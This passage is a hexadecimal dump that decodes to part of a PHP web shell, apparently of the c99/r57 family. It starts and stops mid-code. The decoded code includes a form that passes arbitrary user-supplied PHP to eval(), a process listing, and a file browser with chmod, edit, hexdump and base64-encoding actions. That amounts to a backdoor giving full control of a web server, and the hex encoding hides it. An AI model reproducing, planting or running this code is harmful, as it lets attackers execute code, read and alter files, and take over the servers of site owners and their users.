20 20 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 22 3B 0A 20 20 20 20 20 24 6C 69 6E 65 20 3D 20 65 78 70 6C 6F 64 65 28 22 09 22 2C 24 6C 69 6E 65 29 3B 0A 20 20 20 20 20 24 6C 69 6E 65 5B 31 5D 20 3D 20 69 6E 74 76 61 6C 28 24 6C 69 6E 65 5B 31 5D 29 3B 20 24 6C 69 6E 65 5B 32 5D 20 3D 20 24 6C 69 6E 65 5B 33 5D 3B 20 75 6E 73 65 74 28 24 6C 69 6E 65 5B 33 5D 29 3B 0A 20 20 20 20 20 24 6C 69 6E 65 5B 32 5D 20 3D 20 69 6E 74 76 61 6C 28 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 22 2C 22 22 2C 24 6C 69 6E 65 5B 32 5D 29 29 2A 31 30 32 34 3B 20 0A 20 20 20 20 20 24 70 72 63 73 5B 5D 20 3D 20 24 6C 69 6E 65 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 24 68 65 61 64 5B 24 6B 5D 20 3D 20 22 3C 62 3E 22 2E 24 68 65 61 64 5B 24 6B 5D 2E 22 3C 2F 62 3E 22 2E 24 79 3B 0A 20 20 24 76 20 3D 20 24 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 5B 30 5D 3B 0A 20 20 75 73 6F 72 74 28 24 70 72 63 73 2C 22 74 61 62 73 6F 72 74 22 29 3B 0A 20 20 69 66 20 28 24 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 5B 31 5D 20 3D 3D 20 22 64 22 29 20 7B 24 70 72 63 73 20 3D 20 61 72 72 61 79 5F 72 65 76 65 72 73 65 28 24 70 72 63 73 29 3B 7D 0A 20 20 24 74 61 62 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 24 74 61 62 5B 5D 20 3D 20 24 68 65 61 64 3B 0A 20 20 24 74 61 62 20 3D 20 61 72 72 61 79 5F 6D 65 72 67 65 28 24 74 61 62 2C 24 70 72 63 73 29 3B 0A 20 20 65 63 68 6F 20 22 3C 54 41 42 4C 45 20 68 65 69 67 68 74 3D 31 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 77 69 64 74 68 3D 5C 22 31 30 30 25 5C 22 20 62 67 43 6F 6C 6F 72 3D 23 33 33 33 33 33 33 20 62 6F 72 64 65 72 43 6F 6C 6F 72 4C 69 67 68 74 3D 23 63 30 63 30 63 30 20 62 6F 72 64 65 72 3D 31 20 62 6F 72 64 65 72 63 6F 6C 6F 72 3D 5C 22 23 43 30 43 30 43 30 5C 22 3E 22 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 74 61 62 20 61 73 20 24 69 3D 3E 24 6B 29 0A 20 20 7B 0A 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 22 3B 0A 20 20 20 66 6F 72 65 61 63 68 28 24 6B 20 61 73 20 24 6A 3D 3E 24 76 29 20 7B 69 66 20 28 24 77 69 6E 20 61 6E 64 20 24 69 20 3E 20 30 20 61 6E 64 20 24 6A 20 3D 3D 20 32 29 20 7B 24 76 20 3D 20 76 69 65 77 5F 73 69 7A 65 28 24 76 29 3B 7D 20 65 63 68 6F 20 22 3C 74 64 3E 22 2E 24 76 2E 22 3C 2F 74 64 3E 22 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 2F 74 72 3E 22 3B 0A 20 20 7D 0A 20 20 65 63 68 6F 20 22 3C 2F 74 61 62 6C 65 3E 22 3B 0A 20 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 65 76 61 6C 22 29 0A 7B 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 65 76 61 6C 29 29 0A 20 7B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 52 65 73 75 6C 74 20 6F 66 20 65 78 65 63 75 74 69 6F 6E 20 74 68 69 73 20 50 48 50 2D 63 6F 64 65 3C 2F 62 3E 3A 3C 62 72 3E 22 3B 0A 20 20 24 74 6D 70 20 3D 20 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 3B 0A 20 20 24 6F 6C 64 64 69 72 20 3D 20 72 65 61 6C 70 61 74 68 28 22 2E 22 29 3B 0A 20 20 40 63 68 64 69 72 28 24 64 29 3B 0A 20 20 69 66 20 28 24 74 6D 70 29 0A 20 20 7B 0A 20 20 20 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 20 65 76 61 6C 28 24 65 76 61 6C 29 3B 0A 20 20 20 24 72 65 74 20 3D 20 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 3B 0A 20 20 20 24 72 65 74 20 3D 20 63 6F 6E 76 65 72 74 5F 63 79 72 5F 73 74 72 69 6E 67 28 24 72 65 74 2C 22 64 22 2C 22 77 22 29 3B 0A 20 20 20 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 20 65 63 68 6F 20 24 74 6D 70 3B 0A 20 20 20 69 66 20 28 24 65 76 61 6C 5F 74 78 74 29 0A 20 20 20 7B 0A 20 20 20 20 24 72 6F 77 73 20 3D 20 63 6F 75 6E 74 28 65 78 70 6C 6F 64 65 28 22 5C 72 5C 6E 22 2C 24 72 65 74 29 29 2B 31 3B 0A 20 20 20 20 69 66 20 28 24 72 6F 77 73 20 3C 20 31 30 29 20 7B 24 72 6F 77 73 20 3D 20 31 30 3B 7D 0A 20 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 74 65 78 74 61 72 65 61 20 63 6F 6C 73 3D 5C 22 31 32 32 5C 22 20 72 6F 77 73 3D 5C 22 22 2E 24 72 6F 77 73 2E 22 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 72 65 74 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 22 3B 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 24 72 65 74 2E 22 3C 62 72 3E 22 3B 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 69 66 20 28 24 65 76 61 6C 5F 74 78 74 29 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 74 65 78 74 61 72 65 61 20 63 6F 6C 73 3D 5C 22 31 32 32 5C 22 20 72 6F 77 73 3D 5C 22 31 35 5C 22 20 72 65 61 64 6F 6E 6C 79 3E 22 3B 0A 20 20 20 20 65 76 61 6C 28 24 65 76 61 6C 29 3B 0A 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 65 78 74 61 72 65 61 3E 22 3B 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 24 72 65 74 3B 7D 0A 20 20 7D 0A 20 20 40 63 68 64 69 72 28 24 6F 6C 64 64 69 72 29 3B 0A 20 7D 0A 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 3E 45 78 65 63 75 74 69 6F 6E 20 50 48 50 2D 63 6F 64 65 3C 2F 62 3E 22 3B 20 69 66 20 28 65 6D 70 74 79 28 24 65 76 61 6C 5F 74 78 74 29 29 20 7B 24 65 76 61 6C 5F 74 78 74 20 3D 20 74 72 75 65 3B 7D 7D 0A 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 65 76 61 6C 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 5C 22 65 76 61 6C 5C 22 20 63 6F 6C 73 3D 5C 22 31 32 32 5C 22 20 72 6F 77 73 3D 5C 22 31 30 5C 22 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 65 76 61 6C 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 5C 22 64 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 24 64 69 73 70 64 2E 22 5C 22 3E 3C 62 72 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 45 78 65 63 75 74 65 5C 22 3E 26 6E 62 73 70 3B 44 69 73 70 6C 61 79 20 69 6E 20 74 65 78 74 2D 61 72 65 61 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 65 76 61 6C 5F 74 78 74 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 22 3B 20 69 66 20 28 24 65 76 61 6C 5F 74 78 74 29 20 7B 65 63 68 6F 20 22 20 63 68 65 63 6B 65 64 22 3B 7D 20 65 63 68 6F 20 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 66 22 29 0A 7B 0A 20 69 66 20 28 28 21 69 73 5F 72 65 61 64 61 62 6C 65 28 24 64 2E 24 66 29 20 6F 72 20 69 73 5F 64 69 72 28 24 64 2E 24 66 29 29 20 61 6E 64 20 24 66 74 20 21 3D 20 22 65 64 69 74 22 29 0A 20 7B 0A 20 20 69 66 20 28 66 69 6C 65 5F 65 78 69 73 74 73 28 24 64 2E 24 66 29 29 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 50 65 72 6D 69 73 69 6F 6E 20 64 65 6E 69 65 64 20 28 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 2E 24 66 29 2E 22 29 21 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 46 69 6C 65 20 64 6F 65 73 20 6E 6F 74 20 65 78 69 73 74 73 20 28 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 2E 24 66 29 2E 22 29 21 3C 2F 62 3E 3C 62 72 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 65 64 69 74 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 63 3D 31 5C 22 3E 3C 75 3E 43 72 65 61 74 65 3C 2F 75 3E 3C 2F 61 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 24 72 20 3D 20 40 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 64 2E 24 66 29 3B 0A 20 20 24 65 78 74 20 3D 20 65 78 70 6C 6F 64 65 28 22 2E 22 2C 24 66 29 3B 0A 20 20 24 63 20 3D 20 63 6F 75 6E 74 28 24 65 78 74 29 2D 31 3B 0A 20 20 24 65 78 74 20 3D 20 24 65 78 74 5B 24 63 5D 3B 0A 20 20 24 65 78 74 20 3D 20 73 74 72 74 6F 6C 6F 77 65 72 28 24 65 78 74 29 3B 0A 20 20 24 72 66 74 20 3D 20 22 22 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 66 74 79 70 65 73 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 65 78 74 2C 24 76 29 29 20 7B 24 72 66 74 20 3D 20 24 6B 3B 20 62 72 65 61 6B 3B 7D 7D 0A 20 20 69 66 20 28 65 72 65 67 69 28 22 73 65 73 73 5F 28 2E 2A 29 22 2C 24 66 29 29 20 7B 24 72 66 74 20 3D 20 22 70 68 70 73 65 73 73 22 3B 7D 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 66 74 29 29 20 7B 24 66 74 20 3D 20 24 72 66 74 3B 7D 0A 20 20 24 61 72 72 20 3D 20 61 72 72 61 79 28 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 64 69 7A 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 69 6E 66 6F 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 68 74 6D 6C 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 68 74 6D 6C 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 74 78 74 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 74 78 74 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 43 6F 64 65 22 2C 22 63 6F 64 65 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 53 65 73 73 69 6F 6E 22 2C 22 70 68 70 73 65 73 73 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 65 78 65 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 65 78 65 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 53 44 42 22 2C 22 73 64 62 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 67 69 66 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 69 6D 67 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 69 6E 69 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 69 6E 69 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 64 6F 77 6E 6C 6F 61 64 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 64 6F 77 6E 6C 6F 61 64 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 72 74 66 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 6E 6F 74 65 70 61 64 22 29 2C 0A 20 20 20 61 72 72 61 79 28 22 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 63 68 61 6E 67 65 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 22 2C 22 65 64 69 74 22 29 0A 20 20 29 3B 0A 20 20 65 63 68 6F 20 22 3C 62 3E 56 69 65 77 69 6E 67 20 66 69 6C 65 3A 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 65 78 74 5F 22 2E 24 65 78 74 2E 22 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 26 6E 62 73 70 3B 22 2E 24 66 2E 22 20 28 22 2E 76 69 65 77 5F 73 69 7A 65 28 66 69 6C 65 73 69 7A 65 28 24 64 2E 24 66 29 29 2E 22 29 20 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 2E 76 69 65 77 5F 70 65 72 6D 73 5F 63 6F 6C 6F 72 28 24 64 2E 24 66 29 2E 22 3C 2F 62 3E 3C 62 72 3E 53 65 6C 65 63 74 20 61 63 74 69 6F 6E 2F 66 69 6C 65 2D 74 79 70 65 3A 3C 62 72 3E 22 3B 0A 20 20 66 6F 72 65 61 63 68 28 24 61 72 72 20 61 73 20 24 74 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 24 74 5B 31 5D 20 3D 3D 20 24 72 66 74 29 20 7B 65 63 68 6F 20 22 20 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 22 2E 24 74 5B 31 5D 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 22 2E 24 74 5B 30 5D 2E 22 3C 2F 66 6F 6E 74 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 65 6C 73 65 69 66 20 28 24 74 5B 31 5D 20 3D 3D 20 24 66 74 29 20 7B 65 63 68 6F 20 22 20 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 22 2E 24 74 5B 31 5D 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 3C 62 3E 3C 75 3E 22 2E 24 74 5B 30 5D 2E 22 3C 2F 75 3E 3C 2F 62 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 20 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 22 2E 24 74 5B 31 5D 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 3C 62 3E 22 2E 24 74 5B 30 5D 2E 22 3C 2F 62 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 65 63 68 6F 20 22 20 28 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 22 2E 24 74 5B 31 5D 2E 22 26 77 68 69 74 65 3D 31 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 20 74 61 72 67 65 74 3D 5C 22 5F 62 6C 61 6E 6B 5C 22 3E 2B 3C 2F 61 3E 29 20 7C 22 3B 0A 20 20 7D 0A 20 20 65 63 68 6F 20 22 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 22 3B 0A 20 20 69 66 20 28 24 66 74 20 3D 3D 20 22 69 6E 66 6F 22 29 0A 20 20 7B 0A 20 20 20 65 63 68 6F 20 22 3C 62 3E 49 6E 66 6F 72 6D 61 74 69 6F 6E 3A 3C 2F 62 3E 3C 74 61 62 6C 65 20 62 6F 72 64 65 72 3D 30 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 31 20 63 65 6C 6C 70 61 64 64 69 6E 67 3D 32 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 50 61 74 68 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 24 64 2E 24 66 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 53 69 7A 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 76 69 65 77 5F 73 69 7A 65 28 66 69 6C 65 73 69 7A 65 28 24 64 2E 24 66 29 29 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 4D 44 35 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 6D 64 35 5F 66 69 6C 65 28 24 64 2E 24 66 29 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 22 3B 0A 20 20 20 69 66 20 28 21 24 77 69 6E 29 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 3C 62 3E 4F 77 6E 65 72 2F 47 72 6F 75 70 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 3B 20 20 20 20 0A 20 20 20 20 24 6F 77 20 3D 20 70 6F 73 69 78 5F 67 65 74 70 77 75 69 64 28 66 69 6C 65 6F 77 6E 65 72 28 24 64 2E 24 66 29 29 3B 0A 20 20 20 20 24 67 72 20 3D 20 70 6F 73 69 78 5F 67 65 74 67 72 67 69 64 28 66 69 6C 65 67 72 6F 75 70 28 24 64 2E 24 66 29 29 3B 0A 20 20 20 20 65 63 68 6F 20 28 24 6F 77 5B 22 6E 61 6D 65 22 5D 3F 24 6F 77 5B 22 6E 61 6D 65 22 5D 3A 66 69 6C 65 6F 77 6E 65 72 28 24 64 2E 24 66 29 29 2E 22 2F 22 2E 28 24 67 72 5B 22 6E 61 6D 65 22 5D 3F 24 67 72 5B 22 6E 61 6D 65 22 5D 3A 66 69 6C 65 67 72 6F 75 70 28 24 64 2E 24 66 29 29 3B 0A 20 20 20 7D 0A 20 20 20 65 63 68 6F 20 22 3C 74 72 3E 3C 74 64 3E 3C 62 3E 50 65 72 6D 73 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 63 68 6D 6F 64 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 22 2E 76 69 65 77 5F 70 65 72 6D 73 5F 63 6F 6C 6F 72 28 24 64 2E 24 66 29 2E 22 3C 2F 61 3E 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 43 72 65 61 74 65 20 74 69 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 64 61 74 65 28 22 64 2F 6D 2F 59 20 48 3A 69 3A 73 22 2C 66 69 6C 65 63 74 69 6D 65 28 24 64 2E 24 66 29 29 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 41 63 63 65 73 73 20 74 69 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 64 61 74 65 28 22 64 2F 6D 2F 59 20 48 3A 69 3A 73 22 2C 66 69 6C 65 61 74 69 6D 65 28 24 64 2E 24 66 29 29 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 74 72 3E 3C 74 64 3E 3C 62 3E 4D 4F 44 49 46 59 20 74 69 6D 65 3C 2F 62 3E 3C 2F 74 64 3E 3C 74 64 3E 20 22 2E 64 61 74 65 28 22 64 2F 6D 2F 59 20 48 3A 69 3A 73 22 2C 66 69 6C 65 6D 74 69 6D 65 28 24 64 2E 24 66 29 29 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 62 72 3E 22 3B 0A 20 20 20 24 66 69 20 3D 20 66 6F 70 65 6E 28 24 64 2E 24 66 2C 22 72 62 22 29 3B 0A 20 20 20 69 66 20 28 24 66 69 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 24 66 75 6C 6C 68 65 78 64 75 6D 70 29 20 7B 65 63 68 6F 20 22 3C 62 3E 46 55 4C 4C 20 48 45 58 44 55 4D 50 3C 2F 62 3E 22 3B 20 24 73 74 72 20 3D 20 66 72 65 61 64 28 24 66 69 2C 66 69 6C 65 73 69 7A 65 28 24 64 2E 24 66 29 29 3B 7D 0A 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 62 3E 48 45 58 44 55 4D 50 20 50 52 45 56 49 45 57 3C 2F 62 3E 22 3B 20 24 73 74 72 20 3D 20 66 72 65 61 64 28 24 66 69 2C 24 68 65 78 64 75 6D 70 5F 6C 69 6E 65 73 2A 24 68 65 78 64 75 6D 70 5F 72 6F 77 73 29 3B 7D 0A 20 20 20 20 24 6E 20 3D 20 30 3B 0A 20 20 20 20 24 61 30 20 3D 20 22 30 30 30 30 30 30 30 30 3C 62 72 3E 22 3B 0A 20 20 20 20 24 61 31 20 3D 20 22 22 3B 0A 20 20 20 20 24 61 32 20 3D 20 22 22 3B 0A 20 20 20 20 66 6F 72 20 28 24 69 3D 30 3B 20 24 69 3C 73 74 72 6C 65 6E 28 24 73 74 72 29 3B 20 24 69 2B 2B 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 61 31 20 2E 3D 20 73 70 72 69 6E 74 66 28 22 25 30 32 58 22 2C 6F 72 64 28 24 73 74 72 5B 24 69 5D 29 29 2E 22 20 22 3B 0A 20 20 20 20 20 73 77 69 74 63 68 20 28 6F 72 64 28 24 73 74 72 5B 24 69 5D 29 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 63 61 73 65 20 30 3A 20 20 24 61 32 20 2E 3D 20 22 3C 66 6F 6E 74 3E 30 3C 2F 66 6F 6E 74 3E 22 3B 20 62 72 65 61 6B 3B 0A 20 20 20 20 20 20 63 61 73 65 20 33 32 3A 0A 20 20 20 20 20 20 63 61 73 65 20 31 30 3A 0A 20 20 20 20 20 20 63 61 73 65 20 31 33 3A 20 24 61 32 20 2E 3D 20 22 26 6E 62 73 70 3B 22 3B 20 62 72 65 61 6B 3B 0A 20 20 20 20 20 20 64 65 66 61 75 6C 74 3A 20 24 61 32 20 2E 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 74 72 5B 24 69 5D 29 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 24 6E 2B 2B 3B 0A 20 20 20 20 20 69 66 20 28 24 6E 20 3D 3D 20 24 68 65 78 64 75 6D 70 5F 72 6F 77 73 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 24 6E 20 3D 20 30 3B 0A 20 20 20 20 20 20 69 66 20 28 24 69 2B 31 20 3C 20 73 74 72 6C 65 6E 28 24 73 74 72 29 29 20 7B 24 61 30 20 2E 3D 20 73 70 72 69 6E 74 66 28 22 25 30 38 58 22 2C 24 69 2B 31 29 2E 22 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 20 20 24 61 31 20 2E 3D 20 22 3C 62 72 3E 22 3B 0A 20 20 20 20 20 20 24 61 32 20 2E 3D 20 22 3C 62 72 3E 22 3B 0A 20 20 20 20 20 7D 0A 20 20 20 20 7D 0A 20 20 20 20 2F 2F 69 66 20 28 24 61 31 20 21 3D 20 22 22 29 20 7B 24 61 30 20 2E 3D 20 73 70 72 69 6E 74 66 28 22 25 30 38 58 22 2C 24 69 29 2E 22 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 65 63 68 6F 20 22 3C 74 61 62 6C 65 20 62 6F 72 64 65 72 3D 30 20 62 67 63 6F 6C 6F 72 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 31 20 63 65 6C 6C 70 61 64 64 69 6E 67 3D 34 3E 3C 74 72 3E 3C 74 64 20 62 67 63 6F 6C 6F 72 3D 23 36 36 36 36 36 36 3E 22 2E 24 61 30 2E 22 3C 2F 74 64 3E 3C 74 64 20 62 67 63 6F 6C 6F 72 3D 30 30 30 30 30 30 3E 22 2E 24 61 31 2E 22 3C 2F 74 64 3E 3C 74 64 20 62 67 63 6F 6C 6F 72 3D 30 30 30 30 30 30 3E 22 2E 24 61 32 2E 22 3C 2F 74 64 3E 3C 2F 74 72 3E 3C 2F 74 61 62 6C 65 3E 3C 62 72 3E 22 3B 0A 20 20 20 7D 0A 20 20 20 24 65 6E 63 6F 64 65 64 20 3D 20 22 22 3B 0A 20 20 20 69 66 20 28 24 62 61 73 65 36 34 20 3D 3D 20 31 29 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 42 61 73 65 36 34 20 45 6E 63 6F 64 65 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 24 65 6E 63 6F 64 65 64 20 3D 20 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 66 69 6C 65 5F 67 65 74 5F 